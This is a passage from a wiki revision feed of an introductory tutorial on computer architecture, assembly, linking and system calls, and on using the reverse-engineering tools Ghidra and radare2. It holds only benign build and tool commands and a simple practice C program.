 000f    5D&lt;br /&gt;
 0010    C3&lt;br /&gt;
 main:   0&lt;br /&gt;
 0006:   exit ADDR32 ; Relocation information: insert the address of &amp;quot;exit&amp;quot; at address 0006&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Linking Process&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to combine object files into a binary:&lt;br /&gt;
&lt;br /&gt;
 ld Example.o -o Example&lt;br /&gt;
&lt;br /&gt;
* Example.exe&lt;br /&gt;
&lt;br /&gt;
 …&lt;br /&gt;
 0030    55&lt;br /&gt;
 0031    89E5&lt;br /&gt;
 0033    6A00&lt;br /&gt;
 0035    E848010000 ; Address of the function &amp;quot;exit&amp;quot; was inserted by the linker&lt;br /&gt;
 003a    83C404&lt;br /&gt;
 003d    89EC&lt;br /&gt;
 003f    5D&lt;br /&gt;
 0040    C3&lt;br /&gt;
 …&lt;br /&gt;
&lt;br /&gt;
== Working with an operating-system ==&lt;br /&gt;
&lt;br /&gt;
Despite higher-level programming languages, challenges such as operating specific hardware, managing multitasking, and handling virtual memory management persist. To address these issues, the concept of an operating system (OS) was introduced as a solution. An operating system is a program or a collection of programs that perform various tasks, including:&lt;br /&gt;
&lt;br /&gt;
* Loading and executing programs&lt;br /&gt;
* Managing multitasking&lt;br /&gt;
* Virtualizing memory, allowing each program to be written as if it starts at address 0 without conflict in multitasking scenarios (this is achieved, for example, using specialized hardware like a Memory Management Unit, MMU)&lt;br /&gt;
* Managing hardware and providing hardware abstractions through drivers, eliminating the need for every programmer to understand the intricate details of hardware operation (e.g., configuring voltage levels manually for network card operations)&lt;br /&gt;
* Providing a user-friendly interface for users&lt;br /&gt;
&lt;br /&gt;
To utilize the functionalities of an operating system, various programming interfaces (APIs) were developed and standardized. These APIs offer similar functions (known as primitives). One prominent example is the Portable Operating System Interface (POSIX) standard (ISO/IEC/IEEE 9945), which has been largely implemented by operating systems like Linux.&lt;br /&gt;
&lt;br /&gt;
Examples of primitives offered by POSIX in a higher-level programming language like C include:&lt;br /&gt;
&lt;br /&gt;
 * int open(const char *path, int oflag, ...) for opening files&lt;br /&gt;
 * int close(int fildes) for closing files&lt;br /&gt;
 * pid_t fork(void) for creating a new process&lt;br /&gt;
 * void (*signal(int sig, void (*func)(int)))(int) for registering signal handler functions&lt;br /&gt;
 * ...&lt;br /&gt;
&lt;br /&gt;
At the hardware level, these primitives are implemented through system calls to the operating system. These system calls are highly dependent on the operating system and processor.&lt;br /&gt;
&lt;br /&gt;
For instance, the Linux kernel maintains a list of all system calls it provides, known as the System Call Table. Each system call is associated with a unique number and a kernel internal function that performs the actual tasks. To invoke a system call, for example on x86 machines, one loads the number of the desired call into the EAX register and then triggers a software interrupt 128 (hexadecimal: 0x80). The arguments for the system call are stored in CPU registers according to the FastCall calling convention.&lt;br /&gt;
&lt;br /&gt;
The software interrupt, also known as an exception, halts the execution of the program in user mode and triggers the execution of an exception handler in kernel mode. The kernel&#039;s exception handler reads the EAX register and, if it contains a valid system call number, invokes the corresponding kernel function from the System Call Table with the arguments stored in the other registers. After validating the arguments, the kernel performs the requested tasks. Upon completion of this function, the exception handler finishes its work, and normal program execution resumes.&lt;br /&gt;
&lt;br /&gt;
Example of using a POSIX system call under Linux:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
    MOV R0, #1         @ Set R0 to define the data stream (STDOUT here). This data stream is typically connected to the console.&lt;br /&gt;
    LDR R1, =message   @ Load R1 with a pointer to the data to be written.&lt;br /&gt;
    LDR R2, =len       @ Load R2 with the length of the data to be written.&lt;br /&gt;
    MOV R7, #4         @ Set R7 to define the desired system call (here, write to STDOUT).&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
    MOV R7, #1         @ Set R7 to define the exit system call.&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
 .data&lt;br /&gt;
 message:&lt;br /&gt;
    .asciz &amp;quot;Hello World! \n&amp;quot;  @ Define the message to be printed.&lt;br /&gt;
 len = .-message              @ Calculate the length of the message.&lt;br /&gt;
&lt;br /&gt;
Explanation:&lt;br /&gt;
&lt;br /&gt;
 Register R0 is used to define the data stream (in this case, STDOUT), which is the default output connected to the console.&lt;br /&gt;
 Register R1 serves as a pointer to the data that will be written.&lt;br /&gt;
 Register R2 indicates the length of the data to be written.&lt;br /&gt;
 Register R7 is used to specify the desired system call (in this case, writing to STDOUT).&lt;br /&gt;
&lt;br /&gt;
Finally, the operating system must be instructed to terminate the program so that data processing does not continue indefinitely. This is achieved with software interrupt #1.&lt;br /&gt;
&lt;br /&gt;
== Reverse Engineering ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering is the process of analyzing a finished product or system to understand its design, structure, and functionality. This process is frequently applied in software development, as well as in hardware development and other engineering disciplines.&lt;br /&gt;
&lt;br /&gt;
=== Applications of Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
Software Development:&lt;br /&gt;
&lt;br /&gt;
* Bug Fixing and Debugging&lt;br /&gt;
* Compatibility and Interoperability&lt;br /&gt;
* Security Analysis&lt;br /&gt;
* Detecting License Violations&lt;br /&gt;
&lt;br /&gt;
Hardware Development:&lt;br /&gt;
&lt;br /&gt;
* Product Analysis&lt;br /&gt;
* Repair and Maintenance&lt;br /&gt;
* Manufacturing Spare Parts&lt;br /&gt;
&lt;br /&gt;
=== Typical Steps in Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
1. Collection and Gathering information about the target product&lt;br /&gt;
&lt;br /&gt;
2. Disassembly and Decompilation (converting binary code or machine code into a higher-level programming language or human-readable form)&lt;br /&gt;
&lt;br /&gt;
3. Analysis and Documentation of the individual components and their functionality&lt;br /&gt;
&lt;br /&gt;
4. Recovery and Reconstruction&lt;br /&gt;
&lt;br /&gt;
=== Legal Ethical Considerations ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering can raise legal and ethical questions, particularly concerning intellectual property. While it is legal in many cases, there are certain situations where it can lead to legal disputes:&lt;br /&gt;
&lt;br /&gt;
* Copyright: No rights of the holder&#039;s permission&lt;br /&gt;
* Patents: Patent infringments if reproduced products use patented technologies&lt;br /&gt;
* Terms of Use: Many software licenses explicitly prohibit reverse engineering&lt;br /&gt;
&lt;br /&gt;
=== Tools and Techniques ===&lt;br /&gt;
&lt;br /&gt;
There are 2 common tools which are free and open-source:&lt;br /&gt;
&lt;br /&gt;
 * Ghidra&lt;br /&gt;
 * Radare2&lt;br /&gt;
&lt;br /&gt;
== Ghidra ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is an open-source software, created by the National Security Agency (NSA) and publicly released in 2019. It offers a powerful environment for reverse engineering and malware analysis. Ghidra supports a wide variety of processor architectures and file formats, making it a versatile tool for security researchers and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Requirements:&lt;br /&gt;
 * Java Development Kit (JDK) 11 or higher&lt;br /&gt;
 * At least 4 GB of RAM (8GB or more recommended)&lt;br /&gt;
&lt;br /&gt;
Steps:&lt;br /&gt;
 * Download the latest version of Ghidra from the official website: https://ghidra-sre.org/&lt;br /&gt;
 * Unzip the downloaded archive to a directory of your choice&lt;br /&gt;
 * Ensure that the JDK is installed and the &#039;JAVA_HOME&#039; environment variable is set correctly&lt;br /&gt;
&lt;br /&gt;
Starting Ghidra:&lt;br /&gt;
&lt;br /&gt;
Navigate to the directory where you unzipped Ghidra and run the start script:&lt;br /&gt;
&lt;br /&gt;
 * Linux/macOS: ./ghidraRun&lt;br /&gt;
 * Windows: ./ghidraRun.bat&lt;br /&gt;
&lt;br /&gt;
=== Basic Features ===&lt;br /&gt;
&lt;br /&gt;
Creating a new project:&lt;br /&gt;
&lt;br /&gt;
 1. Start Ghidra and create a new project (&#039;File -&amp;gt; New Project&#039;)&lt;br /&gt;
 2. Choose a project type (usually Non-shared Project) and specify a location and name for the project&lt;br /&gt;
 3. Import the binary file you want to analyze (&#039;File -&amp;gt; Import File&#039;)&lt;br /&gt;
&lt;br /&gt;
Analyzing the Binary:&lt;br /&gt;
&lt;br /&gt;
 1. After importing the file, double-click on it in the explorer to open it&lt;br /&gt;
 2. Ghidra will automatically perform an initial analysis of the file. Confirm the suggested settings and start the analysis.&lt;br /&gt;
&lt;br /&gt;
Disassembly and Decompilation:&lt;br /&gt;
&lt;br /&gt;
 Disassembly: Shows the machine code of the binary file. This is useful for understanding the low-level execution of the file.&lt;br /&gt;
 Decompilation: Converts the machine code into a higher-level, human-readable form (similar to C code).&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
&lt;br /&gt;
Ghidra supports scripting to automate complex analyses. You can write scripts in Java or Python (Jython).&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
&lt;br /&gt;
Ghidra can be integrated with external debuggers to perform dynamic analysis. This allows you to set breakpoints and step through the code.&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Radare2 ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Radare2 is a comprehensive framework for reverse engineering and binary analysis. It offers a wide range of features, from static and dynamic analysis to patching and debugging support. Due to its power and flexibility, radare2 is popular among security experts, malware analysts, and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Radare2 can be installed on various operating systems (comes pre-installed on kali-linux). These are the steps for the most common platforms:&lt;br /&gt;
&lt;br /&gt;
* Linux&lt;br /&gt;
 git clone https://github.com/radareorg/radare2.git&lt;br /&gt;
 cd radare2&lt;br /&gt;
 sys/install.sh&lt;br /&gt;
&lt;br /&gt;
* macOS&lt;br /&gt;
 brew install radare2&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
 Download the installation package from the official website and follow the instructions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
&lt;br /&gt;
After installation, you can start radare2 by typing &#039;r2&#039; followd by the path to the binary you want to analyze:&lt;br /&gt;
&lt;br /&gt;
 r2 /path/to/binary&lt;br /&gt;
&lt;br /&gt;
Now typically you start by typing &#039;V&#039; to enter the hex-view, afterwards you have following options:&lt;br /&gt;
&lt;br /&gt;
* p - change view forwards&lt;br /&gt;
* P - change view backwards&lt;br /&gt;
* aaa - analyze the binary to be able to use further instructions&lt;br /&gt;
* s - search for a keyword&lt;br /&gt;
* afl - find all functions&lt;br /&gt;
* q - quit to start screen&lt;br /&gt;
* ? - help and information&lt;br /&gt;
* VV - opens a visual mode with a graphical representation&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
With radare2, you can write scripts in various languages to perform complex analyses and automations.&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
Radare2 also supports debugging binaries:&lt;br /&gt;
&lt;br /&gt;
 r2 -d /path/to/binary&lt;br /&gt;
&lt;br /&gt;
In debug mode, additional commands are available:&lt;br /&gt;
&lt;br /&gt;
* db - sets a breakpoint&lt;br /&gt;
* dc - continue execution&lt;br /&gt;
* dr - displays register contents&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Training Code ==&lt;br /&gt;
&lt;br /&gt;
=== simpleMath.c ===&lt;br /&gt;
&lt;br /&gt;
 include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 int add(int a, int b) {&lt;br /&gt;
    return a + b;&lt;br /&gt;
 }&lt;br /&gt;
 int subtract(int a, int b) {&lt;br /&gt;
    return a - b;&lt;br /&gt;
 }&lt;br /&gt;
 int multiply(int a, int b) {&lt;br /&gt;
    return a * b;&lt;br /&gt;
 }&lt;br /&gt;
 int main() {&lt;br /&gt;
    int x = 5;&lt;br /&gt;
    int y = 3;&lt;br /&gt;
    int sum = add(x, y);&lt;br /&gt;
    int diff = subtract(x, y);&lt;br /&gt;
    int prod = multiply(x, y);&lt;br /&gt;
    printf(&amp;quot;Sum: %d\n&amp;quot;, sum);&lt;br /&gt;
    printf(&amp;quot;Difference: %d\n&amp;quot;, diff);&lt;br /&gt;
    printf(&amp;quot;Product: %d\n&amp;quot;, prod);&lt;br /&gt;
    return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to compile the file first with gcc!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://ghidra-sre.org/&lt;br /&gt;
* https://rada.re/n/radare2.html&lt;br /&gt;
* https://github.com/radareorg/radare2&lt;br /&gt;
* https://github.com/NationalSecurityAgency/ghidra&lt;br /&gt;
* https://beginners.re/RE4B-DE.pdf&lt;br /&gt;
* Hardwaregrundlagen: Friedrich Bauer - Vorlesung Digitale Systeme - Technische Universität Wien “F. Bauer - Digitale Systeme - Institut für Computertechnik WS 2016/17&amp;quot;&lt;br /&gt;
* Carl Hamacher, Zvonko Vranesic, Safwat Zaky, Naraig Manjikian - Computer Organization and Embedded System (SIXTH EDITION) (McGRAW HILL INTERNATIONAL EDITION)&lt;br /&gt;
* Horst Schirmeier - Vorlesung Betriebssysteme - Technische Universität Dortmund SS 2020 https://www.youtube.com/watch?v=DX1wmistewI&amp;amp;list=PLOlqF42t6O1vcrGTDEagGE5PrVrO0ovqf&lt;br /&gt;
* https://www.linux-magazin.de/ausgaben/2004/08/kern-technik/&lt;br /&gt;
* https://articles.manugarg.com/systemcallinlinux2_6.html&lt;br /&gt;
* https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14739</id>
		<title>Reverse Engineering: Ghidra and Radare2</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14739"/>
		<updated>2024-06-21T14:56:27Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:GHIDRA.png |350px|right|thumb|Ghidra Logo]]&lt;br /&gt;
[[File:Radare2.png |350px|right|thumb|Radare2 Logo]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation serves as a short and quick tutorial for reverse engineering. It is split in two parts:&lt;br /&gt;
&lt;br /&gt;
 1) Computer and operating systems basics (foundations to understand reverse engineering)&lt;br /&gt;
&lt;br /&gt;
 2) Reverse Engineering with 2 common tools (Ghidra and Radare2)&lt;br /&gt;
&lt;br /&gt;
Feel free to skip the first parts if you are already familiar with these concepts.&lt;br /&gt;
&lt;br /&gt;
== Computer architecture ==&lt;br /&gt;
&lt;br /&gt;
There are a variety of computer architectures, the most prominent of which include both the Harvard and von Neumann concepts.&lt;br /&gt;
&lt;br /&gt;
=== Harvard Concept ===&lt;br /&gt;
&lt;br /&gt;
The Harvard concept is widespread in various fields, particularly where high efficiency and speed in data processing are required. The Harvard architecture refers to a concept where instructions and data are stored in separate memories. The processor (CPU) has a separate bus for the instruction memory and the data memory. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.[[File:Image.png]]&lt;br /&gt;
&lt;br /&gt;
=== Von Neumann Concept ===&lt;br /&gt;
&lt;br /&gt;
Most of today&#039;s commercial computers for private users are based on the von Neumann concept. A key aspect of the von Neumann architecture is storing data and programs in the same memory. The processor is connected to the memory and the I/O units through the same bus system, allowing it to access the stored instructions and associated data in the memory as well as I/O data. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are also required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.&lt;br /&gt;
&lt;br /&gt;
[[File:Image2.png]]&lt;br /&gt;
&lt;br /&gt;
The following chapters will exclusively focus on the von Neumann concept, even though there are similarities between the concepts mentioned above.&lt;br /&gt;
&lt;br /&gt;
=== The Processor ===&lt;br /&gt;
&lt;br /&gt;
The processor (CPU) is the central component of every computer and essentially consists of the following components:&lt;br /&gt;
&lt;br /&gt;
* Arithmetic and Logic Unit (ALU): Performs arithmetic and logical operations.&lt;br /&gt;
* Working or Arithmetic Registers: Stores operands and results temporarily during operations.&lt;br /&gt;
* Control Unit: Manages internal components of the processor such as ALU, registers, bus systems, and other resources.&lt;br /&gt;
&lt;br /&gt;
Each processor has its own instruction set, dependent on the processor type or architecture. The instruction set comprises a set of commands. Each command is associated with a bit pattern known as the instruction code, machine code, or opcode. Commands stored in memory are executed sequentially. The sequence of commands in memory is referred to as a program. Depending on the commands in the program, the processor performs various operations. When designing a computer architecture, the functionality of the computer is defined in part by the processor&#039;s instruction set.&lt;br /&gt;
&lt;br /&gt;
The processor includes an internal bus system and interfaces with external address, data, and control buses (the control bus is not depicted here for simplicity).&lt;br /&gt;
&lt;br /&gt;
The address bus is used to communicate with devices such as memory cells, input/output devices, etc., for interaction purposes.&lt;br /&gt;
The data bus is used to exchange data with addressed devices.&lt;br /&gt;
The control bus has diverse functionalities, such as controlling the direction of data exchange on the data bus.&lt;br /&gt;
&lt;br /&gt;
The highly simplified and schematically represented processor in Figure 3 features a working register A, used, for example, to store interim results. All arithmetic and logical commands are executed by the Arithmetic Logic Unit (ALU), where in this case, the working register A must always contain one of the operands. For operations involving two operands, the second operand is loaded from memory by specifying its address through the intermediate register ZR. The result of the operation is then written back into working register A, replacing its previous content. Depending on the result of an operation, the ALU sets individual bits in the status register (Flag Register F). These bits, known as flags, indicate the outcome of the executed operation. Examples of flags in the status register include the Zero Flag, Carry Flag, and Overflow Flag. The state of these flags in the status register can be checked and used, for instance, for conditional jump commands to execute conditional branching in the program.&lt;br /&gt;
&lt;br /&gt;
The control unit houses all the logic necessary for executing commands and controlling the resources accordingly.&lt;br /&gt;
&lt;br /&gt;
[[File:Image3.png]]&lt;br /&gt;
&lt;br /&gt;
=== Command Execution ===&lt;br /&gt;
&lt;br /&gt;
Essentially, the following cyclic scheme outlines the execution of an instruction:&lt;br /&gt;
&lt;br /&gt;
* FETCH (Fetch instruction from memory)&lt;br /&gt;
* EXECUTE (Execute instruction)&lt;br /&gt;
&lt;br /&gt;
During the Fetch phase, the instruction located at the address stored in the program counter is loaded into the instruction register. Subsequently, the program counter is incremented by one. If an instruction spans multiple words, the control unit repeats this process until the entire instruction is loaded.&lt;br /&gt;
&lt;br /&gt;
During the Execute phase, the instruction is executed. For example, an address is issued through an intermediate register, an operand is fetched from that address, it is added to the second operand already stored in working register A, the result is then stored back into working register A, and corresponding flags are set in the flag register.&lt;br /&gt;
&lt;br /&gt;
Branch instructions allow for interruption or alteration of the sequential program flow. In the case of a branch instruction, the program flow continues at any other point defined by the branch instruction.&lt;br /&gt;
&lt;br /&gt;
The processor presented in this section is a highly simplified model. Commercial processors typically feature a multitude of working registers, registers with specialized functions, and data pathways beyond those outlined here for address and data buses.&lt;br /&gt;
&lt;br /&gt;
=== Memory ===&lt;br /&gt;
&lt;br /&gt;
The memory can essentially be envisioned as a one-dimensional array of field elements with a fixed bit width, where each field element can be accessed by a unique address.&lt;br /&gt;
&lt;br /&gt;
== Hardware programming ==&lt;br /&gt;
&lt;br /&gt;
=== Machine Commands ===&lt;br /&gt;
&lt;br /&gt;
Typically, a machine instruction consists of an opcode followed by an address portion. An opcode is a unique bit pattern interpreted by the control unit, prompting it to execute all necessary steps for that particular instruction. The address portion, on the other hand, is used to address one or more operands. Machine instructions can vary in length, which can either complicate and slow down the control unit or be fixed in length to mitigate the aforementioned drawbacks.&lt;br /&gt;
&lt;br /&gt;
=== Addressing Types ===&lt;br /&gt;
&lt;br /&gt;
Register addressing:&lt;br /&gt;
&lt;br /&gt;
In register addressing, only registers are referenced.&lt;br /&gt;
&lt;br /&gt;
 MOV R1, R2  ; Copy the value from register R2 to register R1&lt;br /&gt;
&lt;br /&gt;
Immediate addressing:&lt;br /&gt;
&lt;br /&gt;
In immediate addressing, the operand itself is specified in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV R0, #5  ; Load the immediate value 5 into register R0&lt;br /&gt;
&lt;br /&gt;
Absolute addressing:&lt;br /&gt;
&lt;br /&gt;
Absolute addressing specifies the memory address of the operand in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV EAX, [0x1234]  ; Loads the value from memory address 0x1234 into register EAX&lt;br /&gt;
&lt;br /&gt;
Relative addressing:&lt;br /&gt;
&lt;br /&gt;
Relative addressing specifies the desired address as an offset relative to a base address. The base address is typically stored in a defined register, and the offset is provided in the machine instruction. The Program Counter (PC) contents are often used as the base address.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [PC, #4]  ; Load the value from address (PC + 4) into register R0&lt;br /&gt;
&lt;br /&gt;
Indexed Addressing:&lt;br /&gt;
&lt;br /&gt;
Indexed addressing is similar to relative addressing. It also calculates an offset from a base address. However, in indexed addressing, the address is provided in the instruction, and the offset is fetched from a special register called the index register.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1, #4]  ; Load the value from memory address (R1 + 4) into R0&lt;br /&gt;
&lt;br /&gt;
Indirect Addressing (Pointer):&lt;br /&gt;
&lt;br /&gt;
In indirect addressing, the actual address resides in a memory location. This means that the address of the memory location containing the desired address is specified.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1]  ; Load the value from the memory address stored in R1 into R0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here are presented in assembler code for readability and understanding, and should be interpreted as pseudocode until the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Subprograms ===&lt;br /&gt;
&lt;br /&gt;
To save memory, frequently executed program segments are stored in memory only once. These commonly executed program segments, also known as functions, can be accessed using specific jump instructions. Depending on the instruction, either the jump address is immediately loaded into the Program Counter (PC) and execution jumps to that address, or the current Program Counter contents are stored first, followed by loading the jump address into the PC. This allows the program flow to resume at the point where the function was called after exiting the function.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, for example, you can jump to a subroutine (function) using the following two commands:&lt;br /&gt;
&lt;br /&gt;
 BAL target_label         ; Branch Always: Jump immediately to the address specified by &amp;quot;target_label&amp;quot;&lt;br /&gt;
 BL function_label        ; Branch with Link: The current PC contents, which hold the address of the next instruction, are stored in the Link Register (LR). Then, jump to the address specified by &amp;quot;function_label&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
A function called as a subroutine can be exited using a specific return instruction.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, after completing a subroutine, you can return to the calling function using the following commands:&lt;br /&gt;
&lt;br /&gt;
 BX LR                     ; &amp;quot;Branch and Exchange&amp;quot;: The processor jumps to the address stored in the specified register (LR).&lt;br /&gt;
 MOV PC, LR                ; Move the contents of the Link Register (LR) into the Program Counter (PC).&lt;br /&gt;
&lt;br /&gt;
These instructions allow for efficient management of program flow, returning execution to the point where the subroutine was called. To store the Program Counter and other data (such as register contents), the stack can be utilized. The stack is a simple last-in, first-out (LIFO) managed memory structure. This method of management facilitates handling of nested subroutine calls. Typically, the stack is located in main memory, and the processor maintains the memory address of the most recently stored item in a dedicated register known as the Stack Pointer (SP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here have been presented in assembler code for readability and understanding. At this point, they should be interpreted as pseudocode, pending the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
== Higher-level programming languages ​​and abstraction concepts ==&lt;br /&gt;
&lt;br /&gt;
The two main problems of hardware programming described so far are that machine instruction bit patterns are difficult to remember, and programs in machine code are hard to relocate due to their absolute addresses.&lt;br /&gt;
&lt;br /&gt;
=== Assembler ===&lt;br /&gt;
&lt;br /&gt;
The solution to the issues of poor memorability and readability of machine code involves introducing an abstraction where machine instructions are associated with words and symbols used in programming instead of directly using the machine instruction bit patterns in source code files. Now, programs can be written in text files using these words and symbols, known as assembly language, rather than machine instruction bit patterns. These text files are processed by a translation program called an assembler, which converts them back into machine instruction bit patterns, transforming the word- and symbol-based program into executable code. Text files containing assembly code are commonly referred to as assembly source files and are typically saved with the extension &amp;quot;.s&amp;quot;. Files containing the output translated by the assembler are called object files and are usually saved with the extension &amp;quot;.o&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of an assembly program that adds two registers:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
          movl 	$0, %esi&lt;br /&gt;
          movl   $3, %eax&lt;br /&gt;
          add	%eax, %esi&lt;br /&gt;
&lt;br /&gt;
An assembler program can be translated into machine code on Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 as test.s -o test.o&lt;br /&gt;
&lt;br /&gt;
Please note, this creates an unlinked program object in machine code!&lt;br /&gt;
&lt;br /&gt;
To display machine code as assembler code, i.e., to disassemble it under Linux, you can use the following command:&lt;br /&gt;
&lt;br /&gt;
 objdump -d test.o&lt;br /&gt;
&lt;br /&gt;
=== Linker ===&lt;br /&gt;
&lt;br /&gt;
The solution to the problem of difficulty in relocation involves introducing symbolic addresses, which act as &amp;quot;variables&amp;quot; called &amp;quot;labels&amp;quot; and are definitively set by the linker. These symbolic addresses are prefixed with zeros by the assembler, and relocation information tables are created to instruct the linker to insert the addresses of these labels at the respective locations.&lt;br /&gt;
&lt;br /&gt;
From now on, programs can be divided into components and developed independently. Files containing the output bound by the linker are executable files known as binaries. They receive an extension dependent on the operating system (e.g., &amp;quot;.exe&amp;quot; in Windows).&lt;br /&gt;
&lt;br /&gt;
Unlinked object files can be linked into a binary under Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 ld test.o -o test&lt;br /&gt;
&lt;br /&gt;
This command links the object file &amp;quot;test.o&amp;quot; into an executable binary named &amp;quot;test&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Compiler ===&lt;br /&gt;
&lt;br /&gt;
Writing program logic in assembler is unfortunately still somewhat cumbersome. Firstly, machine instructions expressed in words or symbols, despite commonalities across different processors, remain heavily dependent on the specific processor architecture. Secondly, human thought constructs can be complex and may be implemented differently or with difficulty in various processor assemblers. This situation has led to another level of abstraction: the development of higher-level programming languages. These languages provide means to express logical constructs in ways that are more easily understandable to humans and can be formulated universally across different processor instruction sets. From this point onward, primitives can be formulated in these higher-level languages, which are then translated into the specific assembler instruction set of a processor by a program called a compiler.&lt;br /&gt;
&lt;br /&gt;
=== Compilation Process Example ===&lt;br /&gt;
&lt;br /&gt;
Here is a highly simplified example illustrating the respective representations of a sample program:&lt;br /&gt;
&lt;br /&gt;
* Example.c:&lt;br /&gt;
&lt;br /&gt;
 int main() {&lt;br /&gt;
    exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Compilation process:&lt;br /&gt;
&lt;br /&gt;
Command to invoke only the GCC compiler under Linux:&lt;br /&gt;
&lt;br /&gt;
 gcc -S Example.c&lt;br /&gt;
&lt;br /&gt;
* Example.s:&lt;br /&gt;
&lt;br /&gt;
 main:&lt;br /&gt;
    pushl   %ebp&lt;br /&gt;
    movl    %esp, %ebp&lt;br /&gt;
    pushl   $0&lt;br /&gt;
    call    exit&lt;br /&gt;
    addl    $4, %esp&lt;br /&gt;
    popl    %ebp&lt;br /&gt;
    ret&lt;br /&gt;
&lt;br /&gt;
Assembly Process:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to translate an assembly program into machine code:&lt;br /&gt;
&lt;br /&gt;
 as Example.s -o Example.o&lt;br /&gt;
&lt;br /&gt;
* Example.o:&lt;br /&gt;
&lt;br /&gt;
 0000    55&lt;br /&gt;
 0001    89E5&lt;br /&gt;
 0003    6A00&lt;br /&gt;
 0005    E800000000&lt;br /&gt;
 000a    83C404&lt;br /&gt;
 000d    89EC&lt;br /&gt;
 000f    5D&lt;br /&gt;
 0010    C3&lt;br /&gt;
 main:   0&lt;br /&gt;
 0006:   exit ADDR32 ; Relocation information: insert the address of &amp;quot;exit&amp;quot; at address 0006&lt;br /&gt;
&lt;br /&gt;
Linking Process:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to combine object files into a binary:&lt;br /&gt;
&lt;br /&gt;
 ld Example.o -o Example&lt;br /&gt;
&lt;br /&gt;
* Example.exe&lt;br /&gt;
&lt;br /&gt;
 …&lt;br /&gt;
 0030    55&lt;br /&gt;
 0031    89E5&lt;br /&gt;
 0033    6A00&lt;br /&gt;
 0035    E848010000 ; Address of the function &amp;quot;exit&amp;quot; was inserted by the linker&lt;br /&gt;
 003a    83C404&lt;br /&gt;
 003d    89EC&lt;br /&gt;
 003f    5D&lt;br /&gt;
 0040    C3&lt;br /&gt;
 …&lt;br /&gt;
&lt;br /&gt;
== Working with an operating-system ==&lt;br /&gt;
&lt;br /&gt;
Despite higher-level programming languages, challenges such as operating specific hardware, managing multitasking, and handling virtual memory management persist. To address these issues, the concept of an operating system (OS) was introduced as a solution. An operating system is a program or a collection of programs that perform various tasks, including:&lt;br /&gt;
&lt;br /&gt;
* Loading and executing programs&lt;br /&gt;
* Managing multitasking&lt;br /&gt;
